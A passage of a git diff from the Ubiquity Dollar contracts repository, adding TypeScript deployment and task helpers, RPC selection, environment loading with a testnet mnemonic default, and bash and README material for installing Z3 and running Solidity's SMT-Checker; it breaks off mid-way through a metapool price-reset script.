"$foundryTomlPath" "$backupFoundryTomlPath" + +# Run smt.ts script +npx tsx "$smtScriptPath" diff --git a/packages/contracts/scripts/anvil/anvil.ts b/packages/contracts/scripts/anvil/anvil.ts new file mode 100644 index 000000000..3b07f248b --- /dev/null +++ b/packages/contracts/scripts/anvil/anvil.ts @@ -0,0 +1,35 @@ +import { spawn } from "child_process"; +import { loadEnv } from "../shared"; +import { getRPC } from "../runner/rpcutil"; +import fs from "fs"; +import path from "path"; + +let optimalRPC; + +const envPath = path.join(__dirname, "/../../.env"); +if (!fs.existsSync(envPath)) { + const envExamplePath = path.join(__dirname, "/../../.env.example"); + fs.copyFileSync(envExamplePath, envPath); + console.log(".env file created from .env.example"); + console.log("check .env for changes when in need"); +} + +const env = loadEnv(envPath); + +const getUrl = async () => { + return env.rpcUrl; +}; + +const mnemonic = env.mnemonic; + +(async () => { + optimalRPC = await getUrl(); + if (optimalRPC == "http://localhost:8545") { + optimalRPC = (await getRPC()).toString(); + } + console.log(`using ${optimalRPC} for anvil...`); + const command = spawn("anvil", ["-f", optimalRPC as string, "-m", mnemonic as string, "--chain-id", "31337"]); + command.stdout.on("data", (output: any) => { + console.log(output.toString()); + }); +})(); diff --git a/packages/contracts/scripts/runner/conf.ts b/packages/contracts/scripts/runner/conf.ts new file mode 100644 index 000000000..c2df4995c --- /dev/null +++ b/packages/contracts/scripts/runner/conf.ts @@ -0,0 +1,21 @@ +export const RPC_LIST: string[] = [ + "https://rpc.flashbots.net", + "https://nodes.mewapi.io/rpc/eth", + "https://cloudflare-eth.com", + "https://rpc.ankr.com/eth", + "https://eth.llamarpc.com", + "https://api.securerpc.com/v1", +]; + +export const LOCAL_RPC = "http://127.0.0.1:8545"; + +export const RPC_BODY = JSON.stringify({ + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["latest", false], + id: 1, +}); + +export const RPC_HEADER = { + "Content-Type": "application/json", +}; diff --git a/packages/contracts/scripts/runner/rpcutil.ts b/packages/contracts/scripts/runner/rpcutil.ts new file mode 100644 index 000000000..1c0af863c --- /dev/null +++ b/packages/contracts/scripts/runner/rpcutil.ts @@ -0,0 +1,51 @@ +import axios from "axios"; +import { performance } from "node:perf_hooks"; +import { RPC_BODY, RPC_HEADER, RPC_LIST } from "./conf"; + +export type DataType = { + jsonrpc: string; + id: number; + result: { + number: string; + timestamp: string; + hash: string; + }; +}; + +export const verifyBlock = (data: DataType) => { + try { + const { jsonrpc, id, result } = data; + const { number, timestamp, hash } = result; + return jsonrpc === "2.0" && id === 1 && parseInt(number, 16) > 0 && parseInt(timestamp, 16) > 0 && hash.match(/[0-9|a-f|A-F|x]/gm)?.join("").length === 66; + } catch (error) { + return false; + } +}; + +export const getRPC = async () => { + const promises = RPC_LIST.map(async (baseURL: string) => { + try { + const startTime = performance.now(); + const API = axios.create({ + baseURL, + headers: RPC_HEADER, + }); + + const { data } = await API.post("", RPC_BODY); + const endTime = performance.now(); + const latency = endTime - startTime; + if (await verifyBlock(data)) { + return Promise.resolve({ + latency, + baseURL, + }); + } else { + return Promise.reject(); + } + } catch (error) { + return Promise.reject(); + } + }); + const { baseURL: optimalRPC } = await Promise.any(promises); + return optimalRPC; +}; diff --git a/packages/contracts/scripts/shared/constants/address.ts b/packages/contracts/scripts/shared/constants/address.ts new file mode 100644 index 000000000..d39c0b1af --- /dev/null +++ b/packages/contracts/scripts/shared/constants/address.ts @@ -0,0 +1,2 @@ +export const CURVE_WHALE = "0x4486083589A063ddEF47EE2E4467B5236C508fDe"; +export const USD3CRV_TOKEN = "0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490"; diff --git a/packages/contracts/scripts/shared/constants/index.ts b/packages/contracts/scripts/shared/constants/index.ts new file mode 100644 index 000000000..f56872a18 --- /dev/null +++ b/packages/contracts/scripts/shared/constants/index.ts @@ -0,0 +1,4 @@ +export * from "./metadata"; +export * from "./mnemonic"; +export * from "./networks"; +export * from "./address"; diff --git a/packages/contracts/scripts/shared/constants/metadata.ts b/packages/contracts/scripts/shared/constants/metadata.ts new file mode 100644 index 000000000..3471e752c --- /dev/null +++ b/packages/contracts/scripts/shared/constants/metadata.ts @@ -0,0 +1,24 @@ +export const blackData = { + name: "The UbiquiStick™ - Black Edition", + description: "Introducing The UbiquiStick™ from Ubiquity DAO. Maximize your EV. This allows you to enter the Ubiquity DAO bonds before the public.", + type: "black", + image: "https://ipfs.io/ipfs/bafybeieni7yo5vd6yrjppwhzdtaxrp6lm6fpnvvv6tmzjpow2zrnfxd32q", + animation_url: "https://ipfs.io/ipfs/bafybeichcc5kajvsiibotjijtborpdjoi7uimzhxwtvvtrac2rx2q6qmya", +}; + +export const goldData = { + name: "The UbiquiStick™ - Gold Edition", + description: "Introducing The UbiquiStick™ from Ubiquity DAO. Maximize your EV. This allows you to enter the Ubiquity DAO bonds in beta.", + type: "gold", + image: "https://ipfs.io/ipfs/bafybeihluy3ntywhg6qspjsqsjfze5bfauwrnhq7g5wfkqbuguvgrpv5xy", + animation_url: "https://ipfs.io/ipfs/bafybeidwnet3lhus52e37tkfccjmtvrv5rrtxaanjjzc5q46kkdpr6ciqi", +}; + +export const invisibleData = { + name: "The UbiquiStick™ - Invisible Edition", + description: + "Introducing The UbiquiStick™ from Ubiquity DAO. Congratulations, this is a one-of-one. This allows you to enter the Ubiquity DAO bonds in beta.", + type: "invisible", + image: "https://ipfs.io/ipfs/bafybeieryfj45qdpujzpuknsf2ojz2wrm62l2tpo52b54liaxrgnqs5vk4", + animation_url: "https://ipfs.io/ipfs/bafybeia3tgxyqwt62vn5yjp767nc2s3o2tyhflyooqohvagdryowlt5sxm", +}; diff --git a/packages/contracts/scripts/shared/constants/mnemonic.ts b/packages/contracts/scripts/shared/constants/mnemonic.ts new file mode 100644 index 000000000..b8f91c874 --- /dev/null +++ b/packages/contracts/scripts/shared/constants/mnemonic.ts @@ -0,0 +1 @@ +export const TEST_MNEMONIC = "upset concert service toy elephant spoil gun yellow girl provide click beauty"; // MUST use this mnemonic only on testnets diff --git a/packages/contracts/scripts/shared/constants/networks.ts b/packages/contracts/scripts/shared/constants/networks.ts new file mode 100644 index 000000000..100e8bfa9 --- /dev/null +++ b/packages/contracts/scripts/shared/constants/networks.ts @@ -0,0 +1,7 @@ +export const Networks: Record = { + mainnet: 1, + optimism: 10, + sepolia: 11155111, +}; + +export const FALLBACK_RPC = "https://rpc.ankr.com/eth"; diff --git a/packages/contracts/scripts/shared/helpers/deployments.ts b/packages/contracts/scripts/shared/helpers/deployments.ts new file mode 100644 index 000000000..dad1bc8b2 --- /dev/null +++ b/packages/contracts/scripts/shared/helpers/deployments.ts @@ -0,0 +1,15 @@ +import fs from "fs"; +import path from "path"; + +export const deployments = async (chainId: string, name: string): Promise<{ address: string; deployer: string; transactionHash: string; abi: any }> => { + const _path = path.join(__dirname, "../../../deployments.json"); + if (!fs.existsSync(_path)) { + throw new Error("deployment file doesn't exist"); + } + const _deployments = await import(_path); + if (!_deployments[chainId]["contracts"][name]) { + throw new Error(`Couldn't find deployment information for ${name}`); + } + + return _deployments[chainId]["contracts"][name]; +}; diff --git a/packages/contracts/scripts/shared/helpers/execute.ts b/packages/contracts/scripts/shared/helpers/execute.ts new file mode 100644 index 000000000..d47abeba1 --- /dev/null +++ b/packages/contracts/scripts/shared/helpers/execute.ts @@ -0,0 +1,3 @@ +import { exec } from "child_process"; +import util from "util"; +export const execute = util.promisify(exec); diff --git a/packages/contracts/scripts/shared/helpers/flow.ts b/packages/contracts/scripts/shared/helpers/flow.ts new file mode 100644 index 000000000..974445ef8 --- /dev/null +++ b/packages/contracts/scripts/shared/helpers/flow.ts @@ -0,0 +1,16 @@ +export const pressAnyKey = async (msg = "Press any key to continue"): Promise => { + return new Promise((resolve) => { + console.log(msg || "Press any key to continue"); + process.stdin.setRawMode(true); + process.stdin.resume(); + process.stdin.on("data", (e) => { + const byteArray = [...e]; + if (byteArray.length > 0 && byteArray[0] === 3) { + process.stdin.destroy(); + } + + process.stdin.setRawMode(true); + resolve(undefined); + }); + }); +}; diff --git a/packages/contracts/scripts/shared/helpers/index.ts b/packages/contracts/scripts/shared/helpers/index.ts new file mode 100644 index 000000000..a96382f52 --- /dev/null +++ b/packages/contracts/scripts/shared/helpers/index.ts @@ -0,0 +1,5 @@ +export * from "./load-env"; +export * from "./logging"; +export * from "./execute"; +export * from "./deployments"; +export * from "./flow"; diff --git a/packages/contracts/scripts/shared/helpers/load-env.ts b/packages/contracts/scripts/shared/helpers/load-env.ts new file mode 100644 index 000000000..2238c6dfd --- /dev/null +++ b/packages/contracts/scripts/shared/helpers/load-env.ts @@ -0,0 +1,35 @@ +import dotenv from "dotenv"; +import { CURVE_WHALE, FALLBACK_RPC, TEST_MNEMONIC, USD3CRV_TOKEN } from "../constants"; +import { Wallet } from "ethers"; +import { warn } from "./logging"; + +const warnIfNotSet = (key: string) => { + if (!process.env[key]?.length) { + warn(`process.env.${key} not set`); + return false; + } else { + return process.env[key]; + } +}; + +export const loadEnv = (path: string) => { + dotenv.config({ path }); + const rpcUrl = warnIfNotSet("RPC_URL") || FALLBACK_RPC; + const privateKey = warnIfNotSet("PRIVATE_KEY") || Wallet.fromMnemonic(TEST_MNEMONIC).privateKey; + const adminAddress = warnIfNotSet("PUBLIC_KEY") || Wallet.fromMnemonic(TEST_MNEMONIC).address; + const curveWhale = warnIfNotSet("CURVE_WHALE") || CURVE_WHALE; + const _3CRV = warnIfNotSet("USD3CRV_TOKEN") || USD3CRV_TOKEN; + const mnemonic = warnIfNotSet("MNEMONIC") || TEST_MNEMONIC; + + const etherscanApiKey = warnIfNotSet("ETHERSCAN_API_KEY"); // no fallback + + return { + rpcUrl, + privateKey, + adminAddress, + etherscanApiKey, + curveWhale, + _3CRV, + mnemonic, + }; +}; diff --git a/packages/contracts/dollar/tasks/utils/console-colors.ts b/packages/contracts/scripts/shared/helpers/logging.ts similarity index 86% rename from packages/contracts/dollar/tasks/utils/console-colors.ts rename to packages/contracts/scripts/shared/helpers/logging.ts index d2dd46919..be537aada 100644 --- a/packages/contracts/dollar/tasks/utils/console-colors.ts +++ b/packages/contracts/scripts/shared/helpers/logging.ts @@ -29,3 +29,7 @@ export const colors = { export function colorizeText(text: string, color: keyof typeof colors): string { return colors[color].concat(text).concat(colors.reset); } + +export const warn = (message: string) => { + console.warn(colorizeText(`\t⚠ ${message}`, "fgYellow")); +}; diff --git a/packages/contracts/scripts/shared/index.ts b/packages/contracts/scripts/shared/index.ts new file mode 100644 index 000000000..ea5044fb8 --- /dev/null +++ b/packages/contracts/scripts/shared/index.ts @@ -0,0 +1,4 @@ +export * from "./helpers"; +export * from "./types"; +export * from "./constants"; +export * from "./libs"; diff --git a/packages/contracts/dollar/tasks/utils/curve.ts b/packages/contracts/scripts/shared/libs/curve.ts similarity index 92% rename from packages/contracts/dollar/tasks/utils/curve.ts rename to packages/contracts/scripts/shared/libs/curve.ts index 6a956cd12..78267e2df 100644 --- a/packages/contracts/dollar/tasks/utils/curve.ts +++ b/packages/contracts/scripts/shared/libs/curve.ts @@ -1,12 +1,14 @@ +// cspell: disable // Utility functions for curve lp pool -import { BigNumber, constants, utils } from "ethers"; +import { BigNumber, constants } from "ethers"; +import { ethers } from "ethers"; export const N_COINS = 2; export const A_PRECISION = 100; -export const PRECISION = utils.parseEther("1"); -export const FEE_DENOMINATOR = utils.parseUnits("1", 10); -export const RATE_MULTIPLIER = utils.parseEther("1"); +export const PRECISION = ethers.parseEther("1"); +export const FEE_DENOMINATOR = ethers.parseUnits("1", 10); +export const RATE_MULTIPLIER = ethers.parseEther("1"); const get_D = (_xp: BigNumber[], _amp: BigNumber): BigNumber => { let S = constants.Zero; diff --git a/packages/contracts/dollar/tasks/utils/index.ts b/packages/contracts/scripts/shared/libs/index.ts similarity index 100% rename from packages/contracts/dollar/tasks/utils/index.ts rename to packages/contracts/scripts/shared/libs/index.ts diff --git a/packages/contracts/scripts/shared/types/deployments.ts b/packages/contracts/scripts/shared/types/deployments.ts new file mode 100644 index 000000000..8742b9158 --- /dev/null +++ b/packages/contracts/scripts/shared/types/deployments.ts @@ -0,0 +1,9 @@ +export type DeploymentResult = { + deployedTo: string; + deployer: string; + transactionHash: string; +}; + +export type ContractDeployments = Record; +export type DeploymentsForChain = { name: string; chainId: string; contracts: ContractDeployments }; +export type ChainDeployments = Record; diff --git a/packages/contracts/scripts/shared/types/env.ts b/packages/contracts/scripts/shared/types/env.ts new file mode 100644 index 000000000..65225f251 --- /dev/null +++ b/packages/contracts/scripts/shared/types/env.ts @@ -0,0 +1,9 @@ +export type Env = { + rpcUrl: string; + privateKey: string; + adminAddress: string; + etherscanApiKey?: string; + curveWhale: string; + _3CRV: string; + mnemonic: string; +}; diff --git a/packages/contracts/scripts/shared/types/forge.ts b/packages/contracts/scripts/shared/types/forge.ts new file mode 100644 index 000000000..21ebcd792 --- /dev/null +++ b/packages/contracts/scripts/shared/types/forge.ts @@ -0,0 +1,9 @@ +export type ForgeArguments = { + name: string; + network: string; + rpcUrl: string; + privateKey: string; + contractInstance: string; + constructorArguments: string[]; + etherscanApiKey?: string; +}; diff --git a/packages/contracts/scripts/shared/types/handler.ts b/packages/contracts/scripts/shared/types/handler.ts new file mode 100644 index 000000000..64e05d470 --- /dev/null +++ b/packages/contracts/scripts/shared/types/handler.ts @@ -0,0 +1,28 @@ +import { Env } from "./env"; +import commandLineArgs from "command-line-args"; + +export type DeployFuncParam = { + env: Env; + args: any; +}; + +export type DeployFuncCallback = (params: DeployFuncParam) => Promise; + +export type TaskFuncParam = { + env: Env; + args: any; +}; + +export type TaskFuncCallBack = (params: TaskFuncParam) => Promise; + +export type InputParams = { + [index: string]: string; +}; + +export type DeployCallbackFn = { + [index: string]: (args: any) => void; +}; + +export type AbiType = object[]; + +export type CommandLineOption = commandLineArgs.CommandLineOptions; diff --git a/packages/contracts/scripts/shared/types/index.ts b/packages/contracts/scripts/shared/types/index.ts new file mode 100644 index 000000000..75e670bdd --- /dev/null +++ b/packages/contracts/scripts/shared/types/index.ts @@ -0,0 +1,4 @@ +export * from "./forge"; +export * from "./env"; +export * from "./handler"; +export * from "./deployments"; diff --git a/packages/contracts/scripts/smt-checker/README.md b/packages/contracts/scripts/smt-checker/README.md new file mode 100644 index 000000000..254a02dfc --- /dev/null +++ b/packages/contracts/scripts/smt-checker/README.md @@ -0,0 +1,70 @@ +# SMT-Checker Support for Smart Contract Testing + +This repository provides SMT-Checker support for testing smart contracts. Follow these steps to get started: + + +## Make Sure Your System Has Z3 Installed >= "4.8.11" + +Ensure that your system has Z3 installed with a version number greater than or equal to the required version. + +## Step 1: Download and Install Z3 + +Before proceeding, ensure that you have `g++` and `python3` installed on your system. To download and install Z3, enter the following commands in your terminal: + +### Run script: +```sh +./update-deps-ubuntu +``` + +Once installed, you can verify that Z3 is correctly installed by checking the version number. + +## Step 3: Use Forge to Test Contracts Using SMT + +Check that you do not have a profile ready at foundry.toml you might skip this step, else run +``` +npx tsx smt-checker/smt/update.ts +``` + +This will add a new pre-defined profile to foundry.toml for testing & compiling contracts using SMTChecker + +### Export a foundry env variable to make use of the profile + +``` +export FOUNDRY_PROFILE=SMT +``` + + +https://github.com/molecula451/ubiquity-dollar/assets/41552663/cdcf3982-94a4-4cf5-8962-c49982b7c83a + + + +Ensure that your repository is up-to-date with the latest npm/yarn packages, then run the following command: + +```sh +./run-smt-setup +``` + + +https://github.com/molecula451/ubiquity-dollar/assets/41552663/a4cad18e-0686-4637-bd0e-e229159543fe + + + +This will prompt you to select a contract. Once selected, check that the contract was updated in Foundry, then build it using forge build. Wait for the SMT-Checker results to appear after compiling. + +![checker](https://github.com/molecula451/ubiquity-dollar/assets/41552663/a8e6a3de-2ccf-40bd-8d19-c1b4203c466f) + +## Debug + +On Ubuntu you might get: + +```sh +Compiler run failed: +Error: Unknown exception during compilation: Dynamic exception type: std::runtime_error +std::exception::what: locale::facet::_S_create_c_locale name not valid + +``` +#### Fix + +```sh +export LC_ALL=C; unset LANGUAGE +``` \ No newline at end of file diff --git a/packages/contracts/scripts/smt-checker/check-deps b/packages/contracts/scripts/smt-checker/check-deps new file mode 100755 index 000000000..15efd917a --- /dev/null +++ b/packages/contracts/scripts/smt-checker/check-deps @@ -0,0 +1,27 @@ +#!/bin/bash + +missing_dependencies=() + +# Check if wget is installed +if ! command -v wget &>/dev/null; then + missing_dependencies+=("wget") +fi + +# Check if g++ is installed +if ! command -v g++ &>/dev/null; then + missing_dependencies+=("g++") +fi + +if [ ${#missing_dependencies[@]} -ne 0 ]; then + echo "The following dependencies are missing: ${missing_dependencies[*]}" + echo "Please install them to continue." + echo "On Ubuntu/Debian, use the command:" + echo "sudo apt-get install ${missing_dependencies[*]}" + echo "On Arch Linux, use the command:" + echo "sudo pacman -S ${missing_dependencies[*]}" + echo "On macOS, you can install ${missing_dependencies[*]} by installing Xcode Command Line Tools:" + echo "xcode-select --install" + exit 1 +fi + +echo "All required programs are installed on your system." diff --git a/packages/contracts/scripts/smt-checker/smt/smt.ts b/packages/contracts/scripts/smt-checker/smt/smt.ts new file mode 100644 index 000000000..9a894b1cc --- /dev/null +++ b/packages/contracts/scripts/smt-checker/smt/smt.ts @@ -0,0 +1,124 @@ +import { globSync } from "glob"; +import fs from "fs"; +import path from "path"; +import readline from "readline"; + +const searchContracts = async (directory) => { + const contracts = await globSync(`${directory}/**/*.{sol,t.sol}`); + return contracts.map((contract) => ({ + path: contract.replace(directory, ""), + name: contract.replace(/^.*[\\/]/, "").replace(/\.[^.]+$/, ""), + })); +}; + +const updateFoundryToml = async () => { + const currentDirectory = process.cwd(); + const foundryTomlPath = path.join(currentDirectory, "foundry.toml"); + const contractsDirectoryPath = path.join(currentDirectory, "src", "dollar"); + + try { + // Read the contents of foundry.toml + let foundryTomlContent = fs.readFileSync(foundryTomlPath, "utf-8"); + + // List all the contracts + const contractsArray = await searchContracts(contractsDirectoryPath); + + // Choose contracts to add + const selectedContracts = []; + let shouldContinue = true; + while (shouldContinue) { + const contractIndex = await promptContractSelection(contractsArray); + if (contractIndex !== -1) { + const selectedContract = contractsArray[contractIndex]; + selectedContracts.push(selectedContract); + console.log(`Contract '${selectedContract.name}' selected to be added to foundry.toml.`); + } else { + shouldContinue = false; + } + } + + // Generate the contracts section content + const contractsSectionContent = generateContractsSectionContent(selectedContracts); + + // Update the contracts section in foundry.toml + foundryTomlContent = updateContractsSection(foundryTomlContent, contractsSectionContent); + + // Write the updated content back to foundry.toml + fs.writeFileSync(foundryTomlPath, foundryTomlContent); + + console.log("foundry.toml updated successfully."); + } catch (error) { + console.error("Error updating foundry.toml:", error); + } +}; + +const promptContractSelection = (contractsArray) => { + return new Promise((resolve) => { + const rd = readline.createInterface({ + input: process.stdin, + output: process.stdout, + }); + + const printContractsList = () => { + console.log("Contracts:"); + contractsArray.forEach((contract, index) => { + console.log(`${index + 1}. ${contract.name}`); + }); + }; + + let selectedContract; + + const handleAnswer = (answer) => { + rd.close(); + const selectedContractIndex = parseInt(answer) - 1; + + if (!isNaN(selectedContractIndex) && selectedContractIndex >= 0 && selectedContractIndex < contractsArray.length) { + selectedContract = contractsArray[selectedContractIndex]; + resolve(selectedContractIndex); + } else { + resolve(-1); + } + }; + printContractsList(); + rd.question("Enter the number of the contract to add or press Enter to finish: ", (answer) => { + handleAnswer(answer); + + if (selectedContract) { + console.log(`Contract '${selectedContract.name}' added to the selection.`); + } + }); + }); +}; + +const generateContractsSectionContent = (selectedContracts) => { + const contractsEntries = selectedContracts.map((contract) => `"${path.join("src", "dollar", contract.path)}" = ["${contract.name}"]`); + return `contracts = { ${contractsEntries.join(", ")} }`; +}; + +const updateContractsSection = (foundryTomlContent, contractsSectionContent) => { + const regex = /contracts\s*=\s*\{([^}]+)\}/; + const match = regex.exec(foundryTomlContent); + + if (match) { + const updatedContent = foundryTomlContent.replace(match[0], contractsSectionContent); + const modifiedContent = removeExtraSpace(updatedContent); + return modifiedContent; + } else { + const modelCheckerSectionRegex = /\[profile\.default\.model_checker\]/; + const modelCheckerMatch = modelCheckerSectionRegex.exec(foundryTomlContent); + + if (modelCheckerMatch) { + const modelCheckerSectionStartIndex = modelCheckerMatch.index; + const insertionIndex = foundryTomlContent.indexOf("\n", modelCheckerSectionStartIndex); + return foundryTomlContent.slice(0, insertionIndex) + `\n\n${contractsSectionContent}\n` + foundryTomlContent.slice(insertionIndex); + } else { + return foundryTomlContent + `\n\n${contractsSectionContent}\n`; + } + } +}; + +const removeExtraSpace = (content) => { + return content.replace(/\n\n+/g, "\n\n").trim() + "\n"; +}; + +updateFoundryToml(); diff --git a/packages/contracts/scripts/smt-checker/smt/update.ts b/packages/contracts/scripts/smt-checker/smt/update.ts new file mode 100644 index 000000000..385dce6ea --- /dev/null +++ b/packages/contracts/scripts/smt-checker/smt/update.ts @@ -0,0 +1,70 @@ +import fs from "fs"; +import path from "path"; + +const updateFoundryToml = async () => { + const currentDirectory = process.cwd(); + const foundryTomlPath = path.join(currentDirectory, "foundry.toml"); + + try { + // Read the contents of foundry.toml + let foundryTomlContent = fs.readFileSync(foundryTomlPath, "utf-8"); + + // Check if the model_checker section exists in foundry.toml + const regex = /\[profile\.default\.model_checker\]/; + const match = regex.exec(foundryTomlContent); + + if (match) { + console.log("model_checker section already exists in foundry.toml."); + return; + } + + // Generate the model_checker section content + const modelCheckerSectionContent = generateModelCheckerSectionContent(); + + // Update foundry.toml with the model_checker section + foundryTomlContent = updateFoundryTomlContent(foundryTomlContent, modelCheckerSectionContent); + + // Write the updated content back to foundry.toml + fs.writeFileSync(foundryTomlPath, foundryTomlContent); + + console.log("foundry.toml updated successfully."); + } catch (error) { + console.error("Error updating foundry.toml:", error); + } +}; + +const generateModelCheckerSectionContent = (): string => { + const modelCheckerSectionContent = ` +[profile.SMT.model_checker] +contracts = { } +engine = 'chc' +solvers = ['z3'] +show_unproved = true +timeout = 0 +targets = [ + 'assert', + 'constantCondition', + 'divByZero', + 'outOfBounds', + 'overflow', + 'popEmptyArray', + 'underflow', + 'balance', +] +`; + return modelCheckerSectionContent.trim() + "\n"; +}; + +const updateFoundryTomlContent = (foundryTomlContent: string, modelCheckerSectionContent: string): string => { + const lastTwoLinesRegex = /.*\n.*\n.*$/s; + const match = lastTwoLinesRegex.exec(foundryTomlContent); + + if (match) { + const insertionIndex = match.index + match[0].length; + return foundryTomlContent.slice(0, insertionIndex) + `\n${modelCheckerSectionContent}\n` + foundryTomlContent.slice(insertionIndex); + } else { + return foundryTomlContent + `\n\n${modelCheckerSectionContent}\n`; + } +}; + +updateFoundryToml(); diff --git a/packages/contracts/scripts/smt-checker/update-deps-ubuntu b/packages/contracts/scripts/smt-checker/update-deps-ubuntu new file mode 100755 index 000000000..30ba83aa0 --- /dev/null +++ b/packages/contracts/scripts/smt-checker/update-deps-ubuntu @@ -0,0 +1,22 @@ +#!/bin/bash + +# Install dependencies +sudo apt-get update && sudo apt-get install -y g++ && \ +sudo apt-get install -y wget +sudo apt-get install -y z3 && \ +sudo apt-get install -y libz3-dev && \ + +# Download and install Z3 +sudo wget https://github.com/Z3Prover/z3/archive/refs/tags/z3-4.11.0.tar.gz && \ +sudo tar -zxvf z3-4.11.0.tar.gz && \ +cd z3-z3-4.11.0 && \ +sudo python3 scripts/mk_make.py && \ +cd build && \ +sudo make -j$(nproc) && \ +sudo make install && \ +sudo cp libz3.so libz3.so.4.11 && \ +sudo mv libz3.so.4.11 /usr/lib/x86_64-linux-gnu && \ +echo "Successfully copied Z3 to the system" && \ + +# Print success message +echo "Z3 installation completed successfully!" diff --git a/packages/contracts/scripts/task/README.md b/packages/contracts/scripts/task/README.md new file mode 100644 index 000000000..0ceeab005 --- /dev/null +++ b/packages/contracts/scripts/task/README.md @@ -0,0 +1,23 @@ +# Dollar task scripts + +## BlocksInWeek + +BlocksInWeek task provides a close approximate of number of blocks mined in one week. + +Usage: + +Ethereum mainnet: + +``` +npx tsx scripts/task/task.ts BlocksInWeek --network=mainnet +``` + +Sepolia: + +Ethereum mainnet: + +``` +npx tsx scripts/task/task.ts BlocksInWeek --network=sepolia +``` + +Prerequisite: set ETHERSCAN_API_KEY in .env \ No newline at end of file diff --git a/packages/contracts/scripts/task/dollar/blocks-in-week.ts b/packages/contracts/scripts/task/dollar/blocks-in-week.ts new file mode 100644 index 000000000..9899a07dd --- /dev/null +++ b/packages/contracts/scripts/task/dollar/blocks-in-week.ts @@ -0,0 +1,51 @@ +import { OptionDefinition } from "command-line-args"; + +import { Networks, TaskFuncParam } from "../../shared"; +import { EtherscanProvider } from "ethers"; + +export const optionDefinitions: OptionDefinition[] = [ + { name: "task", defaultOption: true }, + { name: "network", alias: "n", type: String }, +]; + +const funcBlocksInAWeek = async (params: TaskFuncParam) => { + const { args, env } = params; + const { network } = args; + + const chainId = Networks[network] ?? undefined; + if (!chainId) { + throw new Error(`Unsupported network: ${network} Please configure it out first`); + } + + const provider = new EtherscanProvider(chainId, env.etherscanApiKey); + + console.log(`Calculating number of blocks in the last week...`); + const secondsInAWeek = 604800; // 24 * 7 * 60 * 60 seconds is one week + const currentBlockNumber = await provider.getBlockNumber(); + const currentBlockTimestamp = (await provider.getBlock(currentBlockNumber))?.timestamp; + const blockTimestampTwoBlocksAgo = (await provider.getBlock(currentBlockNumber - 2))?.timestamp; + + if (currentBlockTimestamp && blockTimestampTwoBlocksAgo) { + const avgBlockTime = (currentBlockTimestamp - blockTimestampTwoBlocksAgo) / 2; + console.log(`Recent average block time: ${avgBlockTime} seconds`); + + const oneWeekAgo = currentBlockTimestamp - secondsInAWeek; + const estimatedBlocksInAWeek = secondsInAWeek / avgBlockTime; + console.log(`Estimated blocks in a week best case ${estimatedBlocksInAWeek}`); + + let estimatedBlockNumber = currentBlockNumber - estimatedBlocksInAWeek; + let estimatedBlockTimestamp = (await provider.getBlock(estimatedBlockNumber))?.timestamp; + + if (estimatedBlockTimestamp) { + let deltaBlockTime = oneWeekAgo - estimatedBlockTimestamp; + estimatedBlockNumber += Math.trunc(deltaBlockTime / avgBlockTime); + estimatedBlockTimestamp = (await provider.getBlock(estimatedBlockNumber))?.timestamp || estimatedBlockTimestamp; + deltaBlockTime -= estimatedBlockTimestamp - oneWeekAgo; + + console.log(`Produced ${estimatedBlocksInAWeek - deltaBlockTime / avgBlockTime} blocks, ${deltaBlockTime / avgBlockTime} worst than the best case`); + } + } + + return "succeeded"; +}; +export default funcBlocksInAWeek; diff --git a/packages/contracts/scripts/task/dollar/price-reset.ts b/packages/contracts/scripts/task/dollar/price-reset.ts new file mode 100644 index 000000000..88343263c --- /dev/null +++ b/packages/contracts/scripts/task/dollar/price-reset.ts @@ -0,0 +1,108 @@ +import { OptionDefinition } from "command-line-args"; + +import { A_PRECISION, deployments, DEPLOYMENT_OVERRIDES, get_burn_lp_amount, Networks, TaskFuncParam, pressAnyKey } from "../../shared"; +import { ethers, BigNumber } from "ethers"; +import { abi as metaPoolABI } from "../../../out/IMetaPool.sol/IMetaPool.json"; + +export const optionDefinitions: OptionDefinition[] = [ + { name: "task", defaultOption: true }, + { name: "price", alias: "p", type: Number }, + { name: "dryrun", alias: "d", type: Boolean }, + { name: "network", alias: "n", type: String }, +]; + +const func = async (params: TaskFuncParam) => { + const { env, args } = params; + const { price, network } = args; + + const chainId = Networks[network] ?? undefined; + if (!chainId) { + throw new Error(`Unsupported network: ${network} Please configure it out first`); + } + + const signer = new ethers.Wallet(env.privateKey, new ethers.providers.JsonRpcProvider(env.rpcUrl)); + const OVERRIDE_PARAMS = DEPLOYMENT_OVERRIDES[network]; + // cspell: disable-next-line + const managerDeployments = await deployments(chainId.toString(), "UbiquityAlgorithmicDollarManager"); + // cspell: disable-next-line + const managerAddress = managerDeployments.address || OVERRIDE_PARAMS.UbiquityAlgorithmicDollarManagerAddress; + const managerContract = new ethers.Contract(managerAddress, managerDeployments.abi, signer); + const curve3CrvTokenAddress = OVERRIDE_PARAMS?.curve3CrvToken; + if (!curve3CrvTokenAddress) { + throw new Error(`Not configured 3CRV token address`); + } + const stakingAddr = await managerContract.stakingContractAddress(); + const stakingDeployments = await deployments(chainId.toString(), "Staking"); + const stakingContract = new ethers.Contract(stakingAddr, stakingDeployments.abi, signer); + + const metaPoolAddr = await managerContract.stableSwapMetaPoolAddress(); + const metaPoolContract = new ethers.Contract(metaPoolAddr, metaPoolABI, signer); + + const metaPoolA = await metaPoolContract.A(); + const fee = await metaPoolContract.fee(); + const balances = await metaPoolContract.get_balances(); + const totalSupply = await metaPoolContract.totalSupply(); + + const uADBalanceOfMetaPool = balances[0]; + const curve3CRVBalanceOfMetaPool = balances[1]; + const impactedPrice = Math.floor(price * 10); + const expectedUADAmount = curve3CRVBalanceOfMetaPool.div(impactedPrice).mul(10); + console.log({ + stakingAddr, + metaPoolAddr, + uADBalance: uADBalanceOfMetaPool.toString(), + curve3CRVBalance: curve3CRVBalanceOfMetaPool.toString(), + expectedUADAmount: expectedUADAmount.toString(), + impactedPrice, + }); + if (expectedUADAmount.gt(uADBalanceOfMetaPool)) { + throw new Error( + `We don't currently support to make the price lower. price: ${price}, uADAmount: ${ethers.utils.formatEther( + uADBalanceOfMetaPool + )}, expectedUAD: ${ethers.utils.formatEther(expectedUADAmount)}` + ); + } + + console.log(`Calculating burn amount to reset price...`); + + const amp = metaPoolA.mul(A_PRECISION); + const base_pool = OVERRIDE_PARAMS.curve3CrvBasePool; + const curveBasePool = new ethers.Contract(base_pool, metaPoolABI, signer); + const virtual_price = await curveBasePool.get_virtual_price(); + const amounts: BigNumber[] = [uADBalanceOfMetaPool.sub(expectedUADAmount), BigNumber.from("0")]; + + console.log({ + amp: amp.toString(), + 